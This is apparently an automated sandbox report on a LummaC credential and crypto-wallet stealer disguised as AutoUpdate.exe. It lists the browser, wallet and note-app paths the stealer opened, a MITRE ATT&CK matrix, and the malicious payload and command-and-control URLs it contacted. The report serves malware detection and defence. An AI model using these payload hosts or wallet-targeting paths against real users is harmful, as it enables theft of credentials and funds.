Source: C:\Users\user\Desktop\AutoUpdate.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\AutoUpdate.exe

File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\AutoUpdate.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\AutoUpdate.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	Directory queried: C:\Users\user\Documents\MXPXCVPDVN	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	Directory queried: C:\Users\user\Documents\MXPXCVPDVN	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	Directory queried: C:\Users\user\Documents\RAYHIWGKDI	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	Directory queried: C:\Users\user\Documents\RAYHIWGKDI	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\Desktop\AutoUpdate.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior

Source: Yara match

File source: Process Memory Space: AutoUpdate.exe PID: 6332, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: AutoUpdate.exe PID: 6332, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	1 Process Injection	121 Virtualization/Sandbox Evasion	2 OS Credential Dumping	1 Query Registry	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Process Injection	LSASS Memory	111 Security Software Discovery	Remote Desktop Protocol	41 Data from Local System	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 PowerShell	Logon Script (Windows)	Logon Script (Windows)	11 Deobfuscate/Decode Files or Information	Security Account Manager	121 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	3 Obfuscated Files or Information	NTDS	2 Process Discovery	Distributed Component Object Model	Input Capture	115 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	22 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
AutoUpdate.exe	16%	ReversingLabs	Win32.Trojan.Generic

Source	Detection	Scanner	Label
https://hungrypaster.click/k-i	0%	Avira URL Cloud	safe
https://hungrypaster.click/s-	0%	Avira URL Cloud	safe
https://neqi.shop/sdgjyut/psh.txt	100%	Avira URL Cloud	malware
https://hungrypaster.click/z	0%	Avira URL Cloud	safe
https://neqi.shop/sdgjyut/psh.txtkd	100%	Avira URL Cloud	malware
https://kliptizq.shop/	100%	Avira URL Cloud	malware
hungrypaster.click	0%	Avira URL Cloud	safe
https://hungrypaster.click/c-a	0%	Avira URL Cloud	safe
https://hungrypaster.click/api57	0%	Avira URL Cloud	safe
https://hungrypaster.click/	0%	Avira URL Cloud	safe
https://hungrypaster.click:443/api	0%	Avira URL Cloud	safe
https://neqi.shop/sdgjyut/psh.txt/	100%	Avira URL Cloud	malware
https://neqi.shop/	100%	Avira URL Cloud	malware
https://hungrypaster.click/A	0%	Avira URL Cloud	safe
http://sslcom.ocsp-certum.com08	0%	Avira URL Cloud	safe
https://hungrypaster.click/apite	0%	Avira URL Cloud	safe
http://sslcom.repository.certum.pl/ctnca.cer0:	0%	Avira URL Cloud	safe
https://neqi.shop/?z	100%	Avira URL Cloud	malware
https://neqi.shop/sdgjyut/psh.txtj	100%	Avira URL Cloud	malware
https://kliptizq.shop/int_clp_ldr_sha.txt	100%	Avira URL Cloud	malware
https://hungrypaster.click/api	0%	Avira URL Cloud	safe
https://hungrypaster.click/apiy7	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
hungrypaster.click	104.21.93.82	true	true	unknown
kliptizq.shop	172.67.191.144	true	false	high
neqi.shop	172.67.169.205	true	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
curverpluch.lat	false		high
slipperyloo.lat	false		high
tentabatte.lat	false		high
hungrypaster.click	true	Avira URL Cloud: safe	unknown
manyrestro.lat	false		high
https://neqi.shop/sdgjyut/psh.txt	false	Avira URL Cloud: malware	unknown
bashfulacid.lat	false		high
wordyfindy.lat	false		high
shapestickyr.lat	false		high
talkynicer.lat	false		high
https://kliptizq.shop/int_clp_ldr_sha.txt	false	Avira URL Cloud: malware	unknown
https://hungrypaster.click/api	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.cloudflare.com/learning/access-management/phishing-attack/	powershell.exe, 00000006.00000002.2032595492.0000000004A51000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2029370951.000000000071B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/chrome_newtab	AutoUpdate.exe, 00000000.00000003.1834179239.00000000037AF000.00000004.00000800.00020000.00000000.sdmp, AutoUpdate.exe, 00000000.00000003.1834765725.0000000003798000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	AutoUpdate.exe, 00000000.00000003.1834179239.00000000037AF000.00000004.00000800.00020000.00000000.sdmp, AutoUpdate.exe, 00000000.00000003.1834765725.0000000003798000.00000004.00000800.00020000.00000000.sdmp	false		high
https://kliptizq.shop/	AutoUpdate.exe, 00000000.00000002.2027228376.00000000008CB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://hungrypaster.click/	AutoUpdate.exe, 00000000.00000002.2024866428.0000000000854000.00000004.00000020.00020000.00000000.sdmp, AutoUpdate.exe, 00000000.00000003.2002475922.00000000008DA000.00000004.00000020.00020000.00000000.sdmp, AutoUpdate.exe, 00000000.00000002.2027228376.00000000008D7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://hungrypaster.click/api57	AutoUpdate.exe, 00000000.00000003.1928830998.00000000008D7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ocsps.ssl.com0?	AutoUpdate.exe	false		high
https://contoso.com/License	powershell.exe, 00000004.00000002.2036093676.0000000005987000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.ssl.com/repository/SSLcomRootCertificationAuthorityRSA.crt0	AutoUpdate.exe	false		high
http://cert.ssl.com/SSL.com-timeStamping-I-RSA-R1.cer0Q	AutoUpdate.exe	false		high
http://ocsps.ssl.com0	AutoUpdate.exe	false		high
https://hungrypaster.click/z	AutoUpdate.exe, 00000000.00000003.1929024403.000000000089A000.00000004.00000020.00020000.00000000.sdmp, AutoUpdate.exe, 00000000.00000003.1906472864.000000000089A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.cloudflare.com/learning/access-management/phishhZ	powershell.exe, 00000006.00000002.2032595492.0000000004A97000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	AutoUpdate.exe, 00000000.00000003.1834179239.00000000037AF000.00000004.00000800.00020000.00000000.sdmp, AutoUpdate.exe, 00000000.00000003.1834765725.0000000003798000.00000004.00000800.00020000.00000000.sdmp	false		high
http://sslcom.crl.certum.pl/ctnca.crl0s	AutoUpdate.exe	false		high
http://crls.ssl.com/SSLcom-RootCA-EV-RSA-4096-R2.crl0	AutoUpdate.exe	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	AutoUpdate.exe, 00000000.00000003.1835326546.00000000037DC000.00000004.00000800.00020000.00000000.sdmp, AutoUpdate.exe, 00000000.00000003.1835544898.00000000037D5000.00000004.00000800.00020000.00000000.sdmp, AutoUpdate.exe, 00000000.00000003.1857898577.00000000037D5000.00000004.00000800.00020000.00000000.sdmp, AutoUpdate.exe, 00000000.00000003.1857792181.00000000037D5000.00000004.00000800.00020000.00000000.sdmp	false		high
http://cert.ssl.com/SSLcom-SubCA-EV-CodeSigning-RSA-4096-R3.cer0_	AutoUpdate.exe	false		high
https://www.cloudflare.com/learning/access-management/phishing-attack/class=cf-btnstyle=background-c	powershell.exe, 00000006.00000002.2031915067.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2029370951.00000000007AD000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2031653904.0000000002AB0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2029370951.000000000071B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://hungrypaster.click/k-i	AutoUpdate.exe, 00000000.00000003.1928830998.00000000008DA000.00000004.00000020.00020000.00000000.sdmp, AutoUpdate.exe, 00000000.00000003.1949963640.00000000008DA000.00000004.00000020.00020000.00000000.sdmp, AutoUpdate.exe, 00000000.00000003.1906472864.00000000008D6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://go.micros	powershell.exe, 00000004.00000002.2028358060.0000000004E01000.00000004.00000800.00020000.00000000.sdmp	false		high
https://hungrypaster.click/s-	AutoUpdate.exe, 00000000.00000003.1906472864.00000000008D6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.cloudflare.com/learning/access-management/phishing-attack/v5	powershell.exe, 00000006.00000002.2029370951.000000000074D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crls.ssl.com/SSLcom-SubCA-EV-CodeSigning-RSA-4096-R3.crl0	AutoUpdate.exe	false		high
https://neqi.shop/sdgjyut/psh.txtkd	AutoUpdate.exe, 00000000.00000003.2002583470.000000000089A000.00000004.00000020.00020000.00000000.sdmp, AutoUpdate.exe, 00000000.00000002.2024866428.0000000000854000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://aka.ms/pscore6lB	powershell.exe, 00000006.00000002.2032595492.00000000046F1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://hungrypaster.click/c-a	AutoUpdate.exe, 00000000.00000003.1906472864.00000000008D6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://x1.c.lencr.org/0	AutoUpdate.exe, 00000000.00000003.1879953269.00000000037BF000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	AutoUpdate.exe, 00000000.00000003.1879953269.00000000037BF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://neqi.shop/sdgjyut/psh.txt/	AutoUpdate.exe, 00000000.00000002.2024866428.0000000000808000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	AutoUpdate.exe, 00000000.00000003.1835544898.00000000037B0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.cloudflare.com/learning/access-management/phish	powershell.exe, 00000006.00000002.2032595492.0000000004A97000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	AutoUpdate.exe, 00000000.00000003.1834179239.00000000037AF000.00000004.00000800.00020000.00000000.sdmp, AutoUpdate.exe, 00000000.00000003.1834765725.0000000003798000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/	powershell.exe, 00000004.00000002.2036093676.0000000005987000.00000004.00000800.00020000.00000000.sdmp	false		high
https://nuget.org/nuget.exe	powershell.exe, 00000004.00000002.2036093676.0000000005987000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ssl.com/repository0	AutoUpdate.exe	false		high
https://www.cloudflare.com/5xx-error-landingmance~5	powershell.exe, 00000006.00000002.2029370951.000000000074D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.cloudflare.com/5xx-error-landinghZ	powershell.exe, 00000006.00000002.2032595492.0000000004A97000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/products/firefoxgro.all	AutoUpdate.exe, 00000000.00000003.1881055532.000000000389F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000004.00000002.2028358060.0000000004921000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2032595492.00000000046F1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://nuget.org/NuGet.exe	powershell.exe, 00000004.00000002.2036093676.0000000005987000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/winsvr-2022-pshelp	powershell.exe, 00000004.00000002.2028358060.0000000004A76000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	AutoUpdate.exe, 00000000.00000003.1834179239.00000000037AF000.00000004.00000800.00020000.00000000.sdmp, AutoUpdate.exe, 00000000.00000003.1834765725.0000000003798000.00000004.00000800.00020000.00000000.sdmp	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000004.00000002.2028358060.0000000004A76000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 00000004.00000002.2028358060.0000000004A76000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000004.00000002.2028358060.0000000004A76000.00000004.00000800.00020000.00000000.sdmp	false		high
https://hungrypaster.click:443/api	AutoUpdate.exe, 00000000.00000003.1879600235.0000000003791000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.cloudflare.com/learning/access-management/phishing-atX)	powershell.exe, 00000006.00000002.2032595492.0000000004A97000.00000004.00000800.00020000.00000000.sdmp	false		high
https://neqi.shop/	AutoUpdate.exe, 00000000.00000003.2002583470.000000000089A000.00000004.00000020.00020000.00000000.sdmp, AutoUpdate.exe, 00000000.00000002.2024866428.0000000000842000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://contoso.com/Icon	powershell.exe, 00000004.00000002.2036093676.0000000005987000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.wisecleaner.com/download.htmlU	AutoUpdate.exe	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	AutoUpdate.exe, 00000000.00000003.1834179239.00000000037AF000.00000004.00000800.00020000.00000000.sdmp, AutoUpdate.exe, 00000000.00000003.1834765725.0000000003798000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	AutoUpdate.exe, 00000000.00000003.1879953269.00000000037BF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://hungrypaster.click/A	AutoUpdate.exe, 00000000.00000003.2002583470.00000000008BF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ocsp.rootca1.amazontrust.com0:	AutoUpdate.exe, 00000000.00000003.1879953269.00000000037BF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	AutoUpdate.exe, 00000000.00000003.1835326546.00000000037DC000.00000004.00000800.00020000.00000000.sdmp, AutoUpdate.exe, 00000000.00000003.1835544898.00000000037D5000.00000004.00000800.00020000.00000000.sdmp, AutoUpdate.exe, 00000000.00000003.1857898577.00000000037D5000.00000004.00000800.00020000.00000000.sdmp, AutoUpdate.exe, 00000000.00000003.1857792181.00000000037D5000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.certum.pl/CPS0	AutoUpdate.exe	false		high
https://www.ecosia.org/newtab/	AutoUpdate.exe, 00000000.00000003.1834179239.00000000037AF000.00000004.00000800.00020000.00000000.sdmp, AutoUpdate.exe, 00000000.00000003.1834765725.0000000003798000.00000004.00000800.00020000.00000000.sdmp	false		high
https://hungrypaster.click/apite	AutoUpdate.exe, 00000000.00000002.2024866428.0000000000808000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	AutoUpdate.exe, 00000000.00000003.1881055532.000000000389F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://sslcom.repository.certum.pl/ctnca.cer0:	AutoUpdate.exe	false	Avira URL Cloud: safe	unknown
https://github.com/Pester/Pester	powershell.exe, 00000004.00000002.2028358060.0000000004A76000.00000004.00000800.00020000.00000000.sdmp	false		high
https://neqi.shop/?z	AutoUpdate.exe, 00000000.00000003.2002583470.000000000089A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.cloudflare.com/5xx-error-landing	powershell.exe, 00000006.00000002.2032595492.0000000004A51000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2029370951.000000000071B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://aka.ms/pscore6PO	powershell.exe, 00000004.00000002.2028358060.0000000004921000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.cloudflare.com/5xx-error-landingid=brand_linktarget=_blank	powershell.exe, 00000006.00000002.2031915067.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2029370951.00000000007AD000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2031653904.0000000002AB0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2029370951.000000000071B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ac.ecosia.org/autocomplete?q=	AutoUpdate.exe, 00000000.00000003.1834179239.00000000037AF000.00000004.00000800.00020000.00000000.sdmp, AutoUpdate.exe, 00000000.00000003.1834765725.0000000003798000.00000004.00000800.00020000.00000000.sdmp	false		high
https://neqi.shop/sdgjyut/psh.txtj	AutoUpdate.exe, 00000000.00000003.2002583470.000000000089A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://crls.ssl.com/ssl.com-rsa-RootCA.crl0	AutoUpdate.exe	false		high
http://crls.ssl.com/SSL.com-timeStamping-I-RSA-R1.crl0	AutoUpdate.exe	false		high
http://crl.micro	powershell.exe, 00000004.00000002.2024037163.0000000002A2A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.microsof	AutoUpdate.exe, 00000000.00000003.1835326546.00000000037DE000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 00000004.00000002.2028358060.0000000004A76000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	AutoUpdate.exe, 00000000.00000003.1879953269.00000000037BF000.00000004.00000800.00020000.00000000.sdmp	false		high
http://sslcom.ocsp-certum.com08	AutoUpdate.exe	false	Avira URL Cloud: safe	unknown
https://hungrypaster.click/apiy7	AutoUpdate.exe, 00000000.00000003.1949963640.00000000008D7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	AutoUpdate.exe, 00000000.00000003.1835544898.00000000037B0000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.ssl.com/repository/SSLcom-RootCA-EV-RSA-4096-R2.crt0	AutoUpdate.exe	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	AutoUpdate.exe, 00000000.00000003.1834179239.00000000037AF000.00000004.00000800.00020000.00000000.sdmp, AutoUpdate.exe, 00000000.00000003.1834765725.0000000003798000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.21.93.82	hungrypaster.click	United States	13335	CLOUDFLARENETUS	true
172.67.191.144	kliptizq.shop	United States	13335	CLOUDFLARENETUS	false
172.67.169.205	neqi.shop	United States	13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1580115
Start date and time:	2024-12-24 00:29:11 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 5s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	AutoUpdate.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@7/7@3/3
EGA Information:	Successful, ratio: 33.3%
HCA Information:	Successful, ratio: 100% Number of executed functions: 23 Number of non-executed functions: 120
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, SIHClient.exe, conhost.exe
